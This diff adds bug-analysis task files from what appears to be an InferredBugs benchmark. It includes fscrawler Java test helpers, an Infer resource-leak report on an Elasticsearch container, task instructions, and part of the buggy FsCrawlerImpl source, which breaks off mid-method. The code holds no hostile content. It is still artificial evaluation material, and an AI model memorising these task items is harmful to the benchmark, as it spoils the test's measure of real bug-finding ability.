+     */
+    public static SearchResponse countTestHelper(final SearchRequest request, final Long expected, final Path path) throws Exception {
+        return countTestHelper(request, expected, path, TimeValue.timeValueSeconds(20));
+    }
+
+    /**
+     * Check that we have the expected number of docs or at least one if expected is null
+     *
+     * @param request   Elasticsearch request to run.
+     * @param expected  expected number of docs. Null if at least 1.
+     * @param path      Path we are supposed to scan. If we have not accurate results, we display its content
+     * @param timeout   Time before we declare a failure
+     * @return the search response if further tests are needed
+     * @throws Exception in case of error
+     */
+    public static SearchResponse countTestHelper(final SearchRequest request, final Long expected, final Path path, final TimeValue timeout) throws Exception {
+
+        final SearchResponse[] response = new SearchResponse[1];
+
+        // We wait before considering a failing test
+        staticLogger.info("  ---> Waiting up to {} for {} documents in {}", timeout.toString(),
+                expected == null ? "some" : expected, request.indices());
+        long hits = awaitBusy(() -> {
+            long totalHits;
+
+            // Let's search for entries
+            try {
+                response[0] = elasticsearchClient.search(request);
+            } catch (IOException e) {
+                staticLogger.warn("error caught", e);
+                return -1;
+            }
+            staticLogger.trace("result {}", response[0].toString());
+            totalHits = response[0].getHits().getTotalHits();
+
+            staticLogger.debug("got so far [{}] hits on expected [{}]", totalHits, expected);
+
+            return totalHits;
+        }, expected, timeout.millis(), TimeUnit.MILLISECONDS);
+
+        Matcher<Long> matcher;
+        if (expected == null) {
+            matcher = greaterThan(0L);
+        } else {
+            matcher = equalTo(expected);
+        }
+
+        if (matcher.matches(hits)) {
+            staticLogger.debug("     ---> expecting [{}] and got [{}] documents in {}", expected, hits, request.indices());
+            logContentOfDir(path, Level.DEBUG);
+        } else {
+            staticLogger.warn("     ---> expecting [{}] but got [{}] documents in {}", expected, hits, request.indices());
+            logContentOfDir(path, Level.WARN);
+        }
+        assertThat(hits, matcher);
+
+        return response[0];
+    }
+
+    static void logContentOfDir(Path path, Level level) {
+        if (path != null) {
+            try (Stream<Path> stream = Files.walk(path)) {
+                stream.forEach(file -> {
+                    try {
+                        if (Files.isDirectory(file)) {
+                            staticLogger.log(level, " * in dir [{}] [{}]",
+                                    path.relativize(file).toString(),
+                                    Files.getLastModifiedTime(file));
+                        } else {
+                            staticLogger.log(level, "   - [{}] [{}]",
+                                    file.getFileName().toString(),
+                                    Files.getLastModifiedTime(file));
+                        }
+                    } catch (IOException ignored) {
+                    }
+                });
+            } catch (IOException ex) {
+                staticLogger.error("can not read content of [{}]:", path);
+            }
+        }
+    }
+
+    public static String getUrl(String... subdirs) {
+        URL resource = AbstractITCase.class.getResource("/fscrawler-integration-tests-marker.txt");
+        File dir = URLtoFile(resource).getParentFile();
+
+        for (String subdir : subdirs) {
+            dir = new File(dir, subdir);
+        }
+
+        return dir.getAbsoluteFile().getAbsolutePath();
+    }
+
+    String getCrawlerName() {
+        String testName = testCrawlerPrefix.concat(getCurrentTestName());
+        return testName.contains(" ") ? split(testName, " ")[0] : testName;
+    }
+
+    /**
+     * Split a String at the first occurrence of the delimiter.
+     * Does not include the delimiter in the result.
+     *
+     * @param toSplit   the string to split
+     * @param delimiter to split the string up with
+     * @return a two element array with index 0 being before the delimiter, and
+     *         index 1 being after the delimiter (neither element includes the delimiter);
+     *         or <code>null</code> if the delimiter wasn't found in the given input String
+     */
+    public static String[] split(String toSplit, String delimiter) {
+        int offset = toSplit.indexOf(delimiter);
+        String beforeDelimiter = toSplit.substring(0, offset);
+        String afterDelimiter = toSplit.substring(offset + delimiter.length());
+        return new String[]{beforeDelimiter, afterDelimiter};
+    }
+
+    public static <T> T restCall(String path, Class<T> clazz) {
+        if (staticLogger.isDebugEnabled()) {
+            String response = target.path(path).request().get(String.class);
+            staticLogger.debug("Rest response: {}", response);
+        }
+        return target.path(path).request().get(clazz);
+    }
+
+    public static <T> T restCall(String path, FormDataMultiPart mp, Class<T> clazz, Map<String, Object> params) {
+        WebTarget targetPath = target.path(path);
+        params.forEach(targetPath::queryParam);
+
+        return targetPath.request(MediaType.MULTIPART_FORM_DATA)
+                .accept(MediaType.APPLICATION_JSON)
+                .post(Entity.entity(mp, mp.getMediaType()), clazz);
+    }
+
+    public static void deleteRecursively(Path root) throws IOException {
+        Files.walkFileTree(root, new SimpleFileVisitor<Path>() {
+            @Override
+            public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
+                Files.delete(file);
+                return FileVisitResult.CONTINUE;
+            }
+
+            @Override
+            public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
+                Files.delete(dir);
+                return FileVisitResult.CONTINUE;
+            }
+        });
+    }
+
+    protected void assumeVersion6AtLeast() throws IOException {
+        assumeThat("Sadly the HL Rest Client 6.x can not always be used with 5.x versions", elasticsearchClient.info().getVersion().onOrAfter(Version.V_6_0_0), is(true));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `fr.pilato.elasticsearch.containers.ElasticsearchContainer` acquired by call to `new()` at line 232 is not released after line 232.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractITCase.startElasticsearchRestClient()
+
+### Procedure Id:
+fr.pilato.elasticsearch.crawler.fs.test.integration.AbstractITCase.startElasticsearchRestClient():vo.6071bfa4d972b7962e7460cc91ce2c54
+
+### File:
+integration-tests/src/test/java/fr/pilato/elasticsearch/crawler/fs/test/integration/AbstractITCase.java
+
+### Key:
+AbstractITCase.java|startElasticsearchRestClient|RESOURCE_LEAK
+
+### Node Key:
+71bbd039293bbda847a7c7191bb8b301
+
+### Hash:
+913566a3e09563808dc9b32d2cd87499
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8535/instruction.md b/inferredbugs-8535/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f5c5ed2249b0d4202e11e9f5b743568fa7d45803
--- /dev/null
+++ b/inferredbugs-8535/instruction.md
@@ -0,0 +1,897 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** fscrawler
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to David Pilato (the "Author") under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. Author licenses this
+ * file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package fr.pilato.elasticsearch.crawler.fs;
+
+import fr.pilato.elasticsearch.crawler.fs.beans.Attributes;
+import fr.pilato.elasticsearch.crawler.fs.beans.Doc;
+import fr.pilato.elasticsearch.crawler.fs.beans.DocParser;
+import fr.pilato.elasticsearch.crawler.fs.beans.PathParser;
+import fr.pilato.elasticsearch.crawler.fs.client.ElasticsearchClientManager;
+import fr.pilato.elasticsearch.crawler.fs.crawler.FileAbstractModel;
+import fr.pilato.elasticsearch.crawler.fs.crawler.FileAbstractor;
+import fr.pilato.elasticsearch.crawler.fs.crawler.fs.FileAbstractorFile;
+import fr.pilato.elasticsearch.crawler.fs.crawler.ssh.FileAbstractorSSH;
+import fr.pilato.elasticsearch.crawler.fs.framework.TimeValue;
+import fr.pilato.elasticsearch.crawler.fs.meta.job.FsJob;
+import fr.pilato.elasticsearch.crawler.fs.meta.job.FsJobFileHandler;
+import fr.pilato.elasticsearch.crawler.fs.rest.RestServer;
+import fr.pilato.elasticsearch.crawler.fs.settings.FsSettings;
+import fr.pilato.elasticsearch.crawler.fs.settings.FsSettingsFileHandler;
+import fr.pilato.elasticsearch.crawler.fs.tika.XmlDocParser;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.elasticsearch.action.bulk.BulkProcessor;
+import org.elasticsearch.action.delete.DeleteRequest;
+import org.elasticsearch.action.index.IndexRequest;
+import org.elasticsearch.action.search.SearchRequest;
+import org.elasticsearch.action.search.SearchResponse;
+import org.elasticsearch.common.xcontent.XContentType;
+import org.elasticsearch.index.query.QueryBuilders;
+import org.elasticsearch.search.SearchHit;
+import org.elasticsearch.search.builder.SearchSourceBuilder;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.file.Files;
+import java.nio.file.NoSuchFileException;
+import java.nio.file.Path;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.time.LocalDateTime;
+import java.time.temporal.ChronoUnit;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.stream.Collectors;
+
+import static fr.pilato.elasticsearch.crawler.fs.FsCrawlerValidator.validateSettings;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.computeVirtualPathName;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.isExcluded;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.isIndexable;
+import static fr.pilato.elasticsearch.crawler.fs.framework.FsCrawlerUtil.localDateTimeToDate;
+import static fr.pilato.elasticsearch.crawler.fs.tika.TikaDocParser.generate;
+
+/**
+ * @author dadoonet (David Pilato)
+ */
+public class FsCrawlerImpl {
+
+    @Deprecated
+    public static final String INDEX_TYPE_FOLDER = "folder";
+    @Deprecated
+    public static final String INDEX_TYPE_DOC = "doc";
+
+    public static final class PROTOCOL {
+        public static final String LOCAL = "local";
+        public static final String SSH = "ssh";
+        public static final int SSH_PORT = 22;
+    }
+
+    private static final Logger logger = LogManager.getLogger(FsCrawlerImpl.class);
+
+    private static final String PATH_ROOT = Doc.FIELD_NAMES.PATH + "." + fr.pilato.elasticsearch.crawler.fs.beans.Path.FIELD_NAMES.ROOT;
+    private static final String FILE_FILENAME = Doc.FIELD_NAMES.FILE + "." + fr.pilato.elasticsearch.crawler.fs.beans.File.FIELD_NAMES.FILENAME;
+
+    private final AtomicInteger runNumber = new AtomicInteger(0);
+
+    private final static String FSCRAWLER_PROPERTIES = "fscrawler.properties";
+    public static final Properties properties;
+
+    static {
+        properties = new Properties();
+        try {
+            properties.load(FsCrawlerImpl.class.getClassLoader().getResourceAsStream(FSCRAWLER_PROPERTIES));
+        } catch (IOException e) {
+            logger.error("Can not find [{}] resource in the class loader", FSCRAWLER_PROPERTIES);
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static final int REQUEST_SIZE = 10000;
+    public static final int LOOP_INFINITE = -1;
+    public static final long MAX_SLEEP_RETRY_TIME = TimeValue.timeValueSeconds(30).millis();
+
+    private volatile boolean closed = false;
+    private final Object semaphore = new Object();
+
+    private final FsSettings settings;
+    private final FsJobFileHandler fsJobFileHandler;
+    private final Integer loop;
+    private final boolean rest;
+    private MessageDigest messageDigest = null;
+
+    private Thread fsCrawlerThread;
+
+    private final ElasticsearchClientManager esClientManager;
+
+    public FsCrawlerImpl(Path config, FsSettings settings) {
+        this(config, settings, LOOP_INFINITE, false);
+    }
+
+    public FsCrawlerImpl(Path config, FsSettings settings, Integer loop, boolean rest) {
+        /*
+         * We store config files here...
+         * Default to ~/.fscrawler
+         * The dir will be created if needed by calling the following CTOR
+         */
+        new FsSettingsFileHandler(config);
+        this.fsJobFileHandler = new FsJobFileHandler(config);
+        this.settings = settings;
+        this.loop = loop;
+        this.rest = rest;
+        this.esClientManager = new ElasticsearchClientManager(config, settings);
+
+        closed = validateSettings(logger, settings, rest);
+        if (closed) {
+            // We don't go further as we have critical errors
+            return;
+        }
+
+        // Generate the directory where we write status and other files
+        Path jobSettingsFolder = config.resolve(settings.getName());
+        try {
+            Files.createDirectories(jobSettingsFolder);
+        } catch (IOException e) {
+            throw new RuntimeException("Can not create the job config directory", e);
+        }
+
+        // Create MessageDigest instance
+        if (settings.getFs().getChecksum() != null) {
+            try {
+                messageDigest = MessageDigest.getInstance(settings.getFs().getChecksum());
+            } catch (NoSuchAlgorithmException e) {
+                throw new RuntimeException("This should never happen as we checked that previously");
+            }
+        }
+    }
+
+    public ElasticsearchClientManager getEsClientManager() {
+        return esClientManager;
+    }
+
+    /**
+     * Upgrade FSCrawler indices
+     * @return true if done successfully
+     * @throws Exception In case of error
+     */
+    @SuppressWarnings("deprecation")
+    public boolean upgrade() throws Exception {
+        // We need to start a client so we can send requests to elasticsearch
+        esClientManager.start();
+
+        // The upgrade script is for now a bit dumb. It assumes that you had an old version of FSCrawler (< 2.3) and it will
+        // simply move data from index/folder to index_folder
+        String index = settings.getElasticsearch().getIndex();
+
+        // Check that the old index actually exists
+        if (esClientManager.client().isExistingIndex(index)) {
+            // We check that the new indices don't exist yet or are empty
+            String indexFolder = settings.getElasticsearch().getIndexFolder();
+            boolean indexExists = esClientManager.client().isExistingIndex(indexFolder);
+            long numberOfDocs = 0;
+            if (indexExists) {
+                SearchResponse responseFolder = esClientManager.client().search(new SearchRequest(indexFolder));
+                numberOfDocs = responseFolder.getHits().getTotalHits();
+            }
+            if (numberOfDocs > 0) {
+                logger.warn("[{}] already exists and is not empty. No upgrade needed.", indexFolder);
+            } else {
+                logger.debug("[{}] can be upgraded.", index);
+
+                // Create the new indices with the right mappings (well, we don't read existing user configuration)
+                if (!indexExists) {
+                    esClientManager.createIndices(settings);
+                    logger.info("[{}] has been created.", indexFolder);
+                }
+
+                // Run reindex task for folders
+                logger.info("Starting reindex folders...");
+                int folders = esClientManager.client().reindex(index, INDEX_TYPE_FOLDER, indexFolder);
+                logger.info("Done reindexing [{}] folders...", folders);
+
+                // Run delete by query task for folders
+                logger.info("Starting removing folders from [{}]...", index);
+                esClientManager.client().deleteByQuery(index, INDEX_TYPE_FOLDER);
+                logger.info("Done removing folders from [{}]", index);
+
+                logger.info("You can now upgrade your elasticsearch cluster to >=6.0.0!");
+                return true;
+            }
+        } else {
+            logger.info("[{}] does not exist. No upgrade needed.", index);
+        }
+
+        return false;
+    }
+
+    public void start() throws Exception {
+        logger.info("Starting FS crawler");
+        if (loop < 0) {
+            logger.info("FS crawler started in watch mode. It will run unless you stop it with CTRL+C.");
+        }
+
+        if (loop == 0 && !rest) {
+            closed = true;
+        }
+
+        if (closed) {
+            logger.info("Fs crawler is closed. Exiting");
+            return;
+        }
+
+        esClientManager.start();
+        esClientManager.createIndices(settings);
+
+        // Start the REST Server if needed
+        if (rest) {
+            RestServer.start(settings, esClientManager);
+            logger.info("FS crawler Rest service started on [{}]", settings.getRest().url());
+        }
+
+        // Start the crawler thread - but not if only in rest mode
+        if (loop != 0) {
+            fsCrawlerThread = new Thread(new FSParser(settings), "fs-crawler");
+            fsCrawlerThread.start();
+        }
+    }
+
+    public void close() throws InterruptedException {
+        logger.debug("Closing FS crawler [{}]", settings.getName());
+
+        closed = true;
+
+        synchronized(semaphore) {
+            semaphore.notifyAll();
+        }
+
+        if (this.fsCrawlerThread != null) {
+            while (fsCrawlerThread.isAlive()) {
+                // We check that the crawler has been closed effectively
+                logger.debug("FS crawler thread is still running");
+                Thread.sleep(500);
+            }
+            logger.debug("FS crawler thread is now stopped");
+        }
+
+        // Stop the REST Server if needed
+        RestServer.close();
+        logger.debug("FS crawler Rest service stopped");
+
+        esClientManager.close();
+        logger.debug("ES Client Manager stopped");
+
+        logger.info("FS crawler [{}] stopped", settings.getName());
+    }
+
+    public boolean isClosed() {
+        return closed;
+    }
+
+    private class FSParser implements Runnable {
+        private final FsSettings fsSettings;
+
+        private ScanStatistic stats;
+
+        public FSParser(FsSettings fsSettings) {
+            this.fsSettings = fsSettings;
+            logger.debug("creating fs crawler thread [{}] for [{}] every [{}]", fsSettings.getName(),
+                    fsSettings.getFs().getUrl(),
+                    fsSettings.getFs().getUpdateRate());
+        }
+
+        @Override
+        public void run() {
+            logger.info("FS crawler started for [{}] for [{}] every [{}]", fsSettings.getName(),
+                    fsSettings.getFs().getUrl(),
+                    fsSettings.getFs().getUpdateRate());
+            while (true) {
+                if (closed) {
+                    logger.debug("FS crawler thread [{}] is now marked as closed...", fsSettings.getName());
+                    return;
+                }
+
+                int run = runNumber.incrementAndGet();
+                FileAbstractor path = null;
+
+                try {
+                    logger.debug("Fs crawler thread [{}] is now running. Run #{}...", fsSettings.getName(), run);
+                    stats = new ScanStatistic(fsSettings.getFs().getUrl());
+
+                    path = buildFileAbstractor();
+                    path.open();
+
+                    if (!path.exists(fsSettings.getFs().getUrl())) {
+                        throw new RuntimeException(fsSettings.getFs().getUrl() + " doesn't exists.");
+                    }
+
+                    String rootPathId = SignTool.sign(fsSettings.getFs().getUrl());
+                    stats.setRootPathId(rootPathId);
+
+                    LocalDateTime scanDatenew = LocalDateTime.now();
+                    LocalDateTime scanDate = getLastDateFromMeta(fsSettings.getName());
+
+                    // We only index the root directory once (first run)
+                    // That means that we don't have a scanDate yet
+                    if (scanDate == null && fsSettings.getFs().isIndexFolders()) {
+                        indexDirectory(fsSettings.getFs().getUrl());
+                    }
+
+                    if (scanDate == null) {
+                        scanDate = LocalDateTime.MIN;
+                    }
+
+                    addFilesRecursively(path, fsSettings.getFs().getUrl(), scanDate);
+
+                    updateFsJob(fsSettings.getName(), scanDatenew);
+                } catch (Exception e) {
+                    logger.warn("Error while crawling {}: {}", fsSettings.getFs().getUrl(), e.getMessage());
+                    if (logger.isDebugEnabled()) {
+                        logger.warn("Full stacktrace", e);
+                    }
+                } finally {
+                    if (path != null) {
+                        try {
+                            path.close();
+                        } catch (Exception e) {
+                            logger.warn("Error while closing the connection: {}", e, e.getMessage());
+                        }
+                    }
+                }
+
+                if (loop > 0 && run >= loop) {
+                    logger.info("FS crawler is stopping after {} run{}", run, run > 1 ? "s" : "");
+                    closed = true;
+                    return;
+                }
+
+                try {
+                    logger.debug("Fs crawler is going to sleep for {}", fsSettings.getFs().getUpdateRate());
+
+                    // The problem here is that there is no wait to close the thread while we are sleeping.
+                    // Which leads to Zombie threads in our tests
+
+                    synchronized (semaphore) {
+                        semaphore.wait(fsSettings.getFs().getUpdateRate().millis());
+                        logger.debug("Fs crawler is now waking up again...");
+                    }
+                } catch (InterruptedException e) {
+                    logger.debug("Fs crawler thread has been interrupted: [{}]", e.getMessage());
+                    Thread.currentThread().interrupt();
+                }
+            }
+        }
+
+        @SuppressWarnings("unchecked")
+        private LocalDateTime getLastDateFromMeta(String jobName) throws IOException {
+            try {
+                FsJob fsJob = fsJobFileHandler.read(jobName);
+                return fsJob.getLastrun();
+            } catch (NoSuchFileException e) {
+                // The file does not exist yet
+            }
+            return null;
+        }
+
+        /**
+         * Update the job metadata
+         * @param jobName job name
+         * @param scanDate last date we scan the dirs
+         * @throws Exception In case of error
+         */
+        private void updateFsJob(String jobName, LocalDateTime scanDate) throws Exception {
+            // We need to round that latest date to the lower second and
+            // remove 2 seconds.
+            // See #82: https://github.com/dadoonet/fscrawler/issues/82
+            scanDate = scanDate.minus(2, ChronoUnit.SECONDS);
+            FsJob fsJob = FsJob.builder()
+                    .setName(jobName)
+                    .setLastrun(scanDate)
+                    .setIndexed(stats.getNbDocScan())
+                    .setDeleted(stats.getNbDocDeleted())
+                    .build();
+            fsJobFileHandler.write(jobName, fsJob);
+        }
+
+        private FileAbstractor buildFileAbstractor() {
+            // What is the protocol used?
+            if (fsSettings.getServer() == null || PROTOCOL.LOCAL.equals(fsSettings.getServer().getProtocol())) {
+                // Local FS
+                return new FileAbstractorFile(fsSettings);
+            } else if (PROTOCOL.SSH.equals(fsSettings.getServer().getProtocol())) {
+                // Remote SSH FS
+                return new FileAbstractorSSH(fsSettings);
+            }
+
+            // Non supported protocol
+            throw new RuntimeException(fsSettings.getServer().getProtocol() + " is not supported yet. Please use " +
+                    PROTOCOL.LOCAL + " or " + PROTOCOL.SSH);
+        }
+
+        private void addFilesRecursively(FileAbstractor<?> path, String filepath, LocalDateTime lastScanDate)
+                throws Exception {
+
+            logger.debug("indexing [{}] content", filepath);
+
+            final Collection<FileAbstractModel> children = path.getFiles(filepath);
+            Collection<String> fsFiles = new ArrayList<>();
+            Collection<String> fsFolders = new ArrayList<>();
+
+            if (children != null) {
+                for (FileAbstractModel child : children) {
+                    String filename = child.name;
+
+                    // https://github.com/dadoonet/fscrawler/issues/1 : Filter documents
+                    boolean isIndexable = isIndexable(filename, fsSettings.getFs().getIncludes(), fsSettings.getFs().getExcludes());
+
+                    // It can happen that we a dir "foo" which does not match the include name like "*.txt"
+                    // We need to go in it unless it has been explicitly excluded by the user
+                    if (child.directory && !isExcluded(filename, fsSettings.getFs().getExcludes())) {
+                        isIndexable = true;
+                    }
+
+                    logger.debug("[{}] can be indexed: [{}]", filename, isIndexable);
+                    if (isIndexable) {
+                        if (child.file) {
+                            logger.debug("  - file: {}", filename);
+                            fsFiles.add(filename);
+                            if (child.lastModifiedDate.isAfter(lastScanDate) ||
+                                    (child.creationDate != null && child.creationDate.isAfter(lastScanDate))) {
+                                try {
+                                    indexFile(child, stats, filepath,
+                                            fsSettings.getFs().isIndexContent() ? path.getInputStream(child) : null, child.size);
+                                    stats.addFile();
+                                } catch (java.io.FileNotFoundException e) {
+                                    if (fsSettings.getFs().isContinueOnError()) {
+                                        logger.warn("Unable to open Input Stream for {}, skipping...", e.getMessage());
+                                    } else {
+                                        throw e;
+                                    }
+                                }
+                            } else {
+                                logger.debug("    - not modified: creation date {} , file date {}, last scan date {}",
+                                        child.creationDate, child.lastModifiedDate, lastScanDate);
+                            }
+                        } else if (child.directory) {
+                            logger.debug("  - folder: {}", filename);
+                            if (settings.getFs().isIndexFolders()) {
+                                fsFolders.add(child.fullpath);
+                                indexDirectory(child.fullpath);
+                            }
+                            addFilesRecursively(path, child.fullpath, lastScanDate);
+                        } else {
+                            logger.debug("  - other: {}", filename);
+                            logger.debug("Not a file nor a dir. Skipping {}", child.fullpath);
+                        }
+                    } else {
+                        logger.debug("  - ignored file/dir: {}", filename);
+                    }
+                }
+            }
+
+            // TODO Optimize
+            // if (path.isDirectory() && path.lastModified() > lastScanDate
+            // && lastScanDate != 0) {
+
+            if (fsSettings.getFs().isRemoveDeleted()) {
+                logger.debug("Looking for removed files in [{}]...", filepath);
+                Collection<String> esFiles = getFileDirectory(filepath);
+
+                // for the delete files
+                for (String esfile : esFiles) {
+                    logger.trace("Checking file [{}]", esfile);
+
+                    if (isIndexable(esfile, fsSettings.getFs().getIncludes(), fsSettings.getFs().getExcludes())
+                            && !fsFiles.contains(esfile)) {
+                        logger.trace("Removing file [{}] in elasticsearch", esfile);
+                        esDelete(fsSettings.getElasticsearch().getIndex(), generateIdFromFilename(esfile, filepath));
+                        stats.removeFile();
+                    }
+                }
+
+                if (settings.getFs().isIndexFolders()) {
+                    logger.debug("Looking for removed directories in [{}]...", filepath);
+                    Collection<String> esFolders = getFolderDirectory(filepath);
+
+                    // for the delete folder
+                    for (String esfolder : esFolders) {
+                        if (isIndexable(esfolder, fsSettings.getFs().getIncludes(), fsSettings.getFs().getExcludes())) {
+                            logger.trace("Checking directory [{}]", esfolder);
+                            if (!fsFolders.contains(esfolder)) {
+                                logger.trace("Removing recursively directory [{}] in elasticsearch", esfolder);
+                                removeEsDirectoryRecursively(esfolder);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        // TODO Optimize it. We can probably use a search for a big array of filenames instead of
+        // Searching fo 10000 files (which is somehow limited).
+        private Collection<String> getFileDirectory(String path)
+                throws Exception {
+
+            // If the crawler is being closed, we return
+            if (closed) {
+                return Collections.emptyList();
+            }
+
+            logger.trace("Querying elasticsearch for files in dir [{}:{}]", PATH_ROOT, SignTool.sign(path));
+            Collection<String> files;
+            // Hack because the High Level Client is not compatible with versions < 5.0
+            if (esClientManager.client().isIngestSupported()) {
+                files = new ArrayList<>();
+                SearchResponse response = esClientManager.client().search(
+                        new SearchRequest(fsSettings.getElasticsearch().getIndex()).source(
+                                new SearchSourceBuilder()
+                                        .size(REQUEST_SIZE) // TODO: WHAT? DID I REALLY WROTE THAT? :p
+                                        .storedField(FILE_FILENAME)
+                                        .query(QueryBuilders.termQuery(PATH_ROOT, SignTool.sign(path)))));
+
+                logger.trace("Response [{}]", response.toString());
+                if (response.getHits() != null && response.getHits().getHits() != null) {
+                    for (SearchHit hit : response.getHits().getHits()) {
+                        String name;
+                        if (hit.getFields() != null
+                                && hit.getFields().get(FILE_FILENAME) != null) {
+                            // In case someone disabled _source which is not recommended
+                            name = hit.getFields().get(FILE_FILENAME).getValue();
+                        } else {
+                            // Houston, we have a problem ! We can't get the old files from ES
+                            logger.warn("Can't find stored field name to check existing filenames in path [{}]. " +
+                                    "Please set store: true on field [{}]", path, FILE_FILENAME);
+                            throw new RuntimeException("Mapping is incorrect: please set stored: true on field [" +
+                                    FILE_FILENAME + "].");
+                        }
+                        files.add(name);
+                    }
+                }
+            } else {
+                files = esClientManager.client().getFromStoredFieldsV2(
+                        fsSettings.getElasticsearch().getIndex(),
+                        REQUEST_SIZE,    // TODO: WHAT? DID I REALLY WROTE THAT? :p
+                        FILE_FILENAME,
+                        path,
+                        QueryBuilders.termQuery(PATH_ROOT, SignTool.sign(path)));
+            }
+
+            logger.trace("We found: {}", files);
+
+            return files;
+        }
+
+        private Collection<String> getFolderDirectory(String path) throws Exception {
+            Collection<String> files = new ArrayList<>();
+
+            // If the crawler is being closed, we return
+            if (closed) {
+                return files;
+            }
+
+            SearchResponse response = esClientManager.client().search(
+                    new SearchRequest(fsSettings.getElasticsearch().getIndexFolder()).source(
+                            new SearchSourceBuilder()
+                                    .size(REQUEST_SIZE) // TODO: WHAT? DID I REALLY WROTE THAT? :p
+                                    .query(QueryBuilders.termQuery(fr.pilato.elasticsearch.crawler.fs.beans.Path.FIELD_NAMES.ROOT, SignTool.sign(path)))));
+
+            if (response.getHits() != null && response.getHits().getHits() != null) {
+                for (SearchHit hit : response.getHits().getHits()) {
+                    String name = hit.getSourceAsMap().get(fr.pilato.elasticsearch.crawler.fs.beans.Path.FIELD_NAMES.REAL).toString();
+                    files.add(name);
+                }
+            }
+
+            return files;
+        }
+
+        /**
+         * Index a file
+         */
+        private void indexFile(FileAbstractModel fileAbstractModel, ScanStatistic stats, String dirname, InputStream inputStream,
+                               long filesize) throws Exception {
+            final String filename = fileAbstractModel.name;
+            final LocalDateTime lastmodified = fileAbstractModel.lastModifiedDate;
+            final String extension = fileAbstractModel.extension;
+            final long size = fileAbstractModel.size;
+
+            logger.debug("fetching content from [{}],[{}]", dirname, filename);
+
+            try {
+                // Create the Doc object (only needed when we have add_as_inner_object: true (default) or when we don't index json or xml)
+                if (fsSettings.getFs().isAddAsInnerObject() || (!fsSettings.getFs().isJsonSupport() && !fsSettings.getFs().isXmlSupport())) {
+
+                    String fullFilename = new File(dirname, filename).toString();
+
+                    Doc doc = new Doc();
+
+                    // File
+                    doc.getFile().setFilename(filename);
+                    doc.getFile().setLastModified(localDateTimeToDate(lastmodified));
+                    doc.getFile().setIndexingDate(localDateTimeToDate(LocalDateTime.now()));
+                    doc.getFile().setUrl("file://" + fullFilename);
+                    doc.getFile().setExtension(extension);
+                    if (fsSettings.getFs().isAddFilesize()) {
+                        doc.getFile().setFilesize(size);
+                    }
+                    // File
+
+                    // Path
+                    // Encoded version of the dir this file belongs to
+                    doc.getPath().setRoot(SignTool.sign(dirname));
+                    // The virtual URL (not including the initial root dir)
+                    doc.getPath().setVirtual(computeVirtualPathName(stats.getRootPath(), fullFilename));
+                    // The real and complete filename
+                    doc.getPath().setReal(fullFilename);
+                    // Path
+
+                    // Attributes
+                    if (fsSettings.getFs().isAttributesSupport()) {
+                        doc.setAttributes(new Attributes());
+                        doc.getAttributes().setOwner(fileAbstractModel.owner);
+                        doc.getAttributes().setGroup(fileAbstractModel.group);
+                    }
+                    // Attributes
+
+                    if (fsSettings.getFs().isIndexContent()) {
+                        // If needed, we generate the content in addition to metadata
+                        if (fsSettings.getFs().isJsonSupport()) {
+                            // https://github.com/dadoonet/fscrawler/issues/5 : Support JSon files
+                            doc.setObject(DocParser.asMap(read(inputStream)));
+                        } else if (fsSettings.getFs().isXmlSupport()) {
+                            // https://github.com/dadoonet/fscrawler/issues/185 : Support Xml files
+                            doc.setObject(XmlDocParser.generateMap(inputStream));
+                        } else {
+                            // Extracting content with Tika
+                            generate(fsSettings, inputStream, filename, doc, messageDigest, filesize);
+                        }
+                    }
+
+                    // We index the data structure
+                    esIndex(esClientManager.bulkProcessorDoc(), fsSettings.getElasticsearch().getIndex(),
+                            generateIdFromFilename(filename, dirname),
+                            DocParser.toJson(doc),
+                            fsSettings.getElasticsearch().getPipeline());
+                } else if (fsSettings.getFs().isIndexContent()) {
+                    if (fsSettings.getFs().isJsonSupport()) {
+                        // We index the json content directly
+                        esIndex(esClientManager.bulkProcessorDoc(), fsSettings.getElasticsearch().getIndex(),
+                                generateIdFromFilename(filename, dirname),
+                                read(inputStream),
+                                fsSettings.getElasticsearch().getPipeline());
+                    } else if (fsSettings.getFs().isXmlSupport()) {
+                        // We index the xml content directly
